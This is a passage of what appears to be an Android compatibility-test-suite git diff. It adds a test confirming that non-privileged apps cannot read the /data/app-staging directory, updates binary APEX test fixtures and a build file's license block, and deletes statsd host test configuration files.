diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
index 4186ba1..fa0504d 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
@@ -24,8 +24,7 @@
 
 import javax.annotation.Nullable;
 
-final class PackageInstallerSessionInfoSubject extends
-        Subject<PackageInstallerSessionInfoSubject, PackageInstaller.SessionInfo> {
+final class PackageInstallerSessionInfoSubject extends Subject {
     private final PackageInstaller.SessionInfo mActual;
 
     private PackageInstallerSessionInfoSubject(FailureMetadata failureMetadata,
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 3087fe1..f61d887 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -1173,6 +1173,22 @@
                 .contains("AVB footer verification failed");
     }
 
+    /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        final int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        // Non-priv apps should not be able to view contents of app-staging directory
+        final File appStagingDir = new File("/data/app-staging");
+        assertThat(appStagingDir.exists()).isTrue();
+        assertThat(appStagingDir.listFiles()).isNull();
+        // Non-owner user should not be able to access sub-dirs of app-staging directory
+        final File appStagingSubDir = new File("/data/app-staging/session_" + sessionId);
+        assertThat(appStagingSubDir.exists()).isFalse();
+        assertThat(appStagingDir.listFiles()).isNull();
+    }
+
     private static long getInstalledVersion(String packageName) {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         PackageManager pm = context.getPackageManager();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 41e410d..209cb6a 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -246,6 +246,7 @@
     @Test
     // Don't mark as @LargeTest since we want at least one test to install apex during pre-submit.
     public void testInstallStagedApexAndApk() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
@@ -660,6 +661,14 @@
     }
 
     /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        runPhase("testAppStagingDirCannotBeReadByNonPrivApps");
+    }
+
+    /**
      * Store the component name of the default launcher. This value will be used to reset the
      * default launcher to its correct component upon test completion.
      */
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
index 7b5758d..3019791 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
index dc2c8c9..258eadc 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
index 3cf81757..f72afda 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
index 5335818..f9aa433 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 4f0edff..97da742 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
index af89d20..876ca57 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
index 12b85e4..4e801f8 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
index 00c0c19..b76f639 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 50e77bd..d672bc2 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
index 3bde9ba..bf7d8c4 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index 26c3f27a..ac0d06e 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index 81aaecf..405ed92 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
index d2be4a2..1a524fb 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index e1f904e..5d294ae 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index c8aa9d9..3f1cde1 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 41c29bf..cd3e8ba 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
index 1447e7d..9f30c4f 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
index e538f83..aaa0d36 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
index 86b418e..fdc764b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 29a0877..b4bafaf 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
index 04ec92d..fc2a7f8 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
index ff54789..29daf35 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
index 3cf81757..f72afda 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
index 5335818..f9aa433 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 4f0edff..97da742 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
index af89d20..876ca57 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
index eca1c37..bf5dee0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
index 19da864..145e974 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 6b7436b..458dc15 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
index 659f462..1607d35 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index c5e2210..31f08a1 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index 3ff88a9..0432704 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
index cd702268..0f10c19 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index e1f904e..5d294ae 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index c8aa9d9..3f1cde1 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 41c29bf..cd3e8ba 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
index 1447e7d..9f30c4f 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
index b3ecef7..57a4e8e 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
index 9281ee3..fe0be5b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 23b2378..1bd82d0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
index 09fb908..9a926c1 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
@@ -12,6 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 android_app_import {
     name: "CtsShimTargetPSdkPrebuilt",
     // Make sure the build system doesn't try to resign the APK
@@ -33,4 +43,4 @@
         },
     },
     presigned: true,
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
index b6afbd0..e852251 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
index b6afbd0..e852251 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
deleted file mode 100644
index dccd5be..0000000
--- a/hostsidetests/statsd/Android.bp
+++ /dev/null
@@ -1,45 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
-    name: "CtsStatsdHostTestCases",
-
-    srcs: ["src/**/*.java"],
-
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts",
-    ],
-
-    libs: [
-        "compatibility-host-util",
-        "cts-tradefed",
-        "host-libprotobuf-java-full",
-        "platformprotos",
-        "tradefed",
-        "truth-prebuilt",
-    ],
-    static_libs: [
-        "core_cts_test_resources",
-        "perfetto_config-full",
-    ],
-    data: [
-        "**/*.pbtxt",
-        ":CtsStatsdApp",
-        ":CtsStatsdEmptyApp",
-        ":CtsStatsdEmptySplitApp",
-    ],
-}
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
deleted file mode 100644
index 6e97754..0000000
--- a/hostsidetests/statsd/AndroidTest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Statsd host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="statsd" />
-    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsStatsdHostTestCases.jar" />
-    </test>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="setprop persist.traced.enable 1" />
-    </target_preparer>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
-    </object>
-</configuration>
diff --git a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
deleted file mode 100644
index 4bad614..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
+++ /dev/null
@@ -1,24 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 98
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
deleted file mode 100644
index 4f13941..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
+++ /dev/null
@@ -1,36 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 100
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 100
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
deleted file mode 100644
index 87afb2d..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
+++ /dev/null
@@ -1,40 +0,0 @@
-id: 8835981461554930288
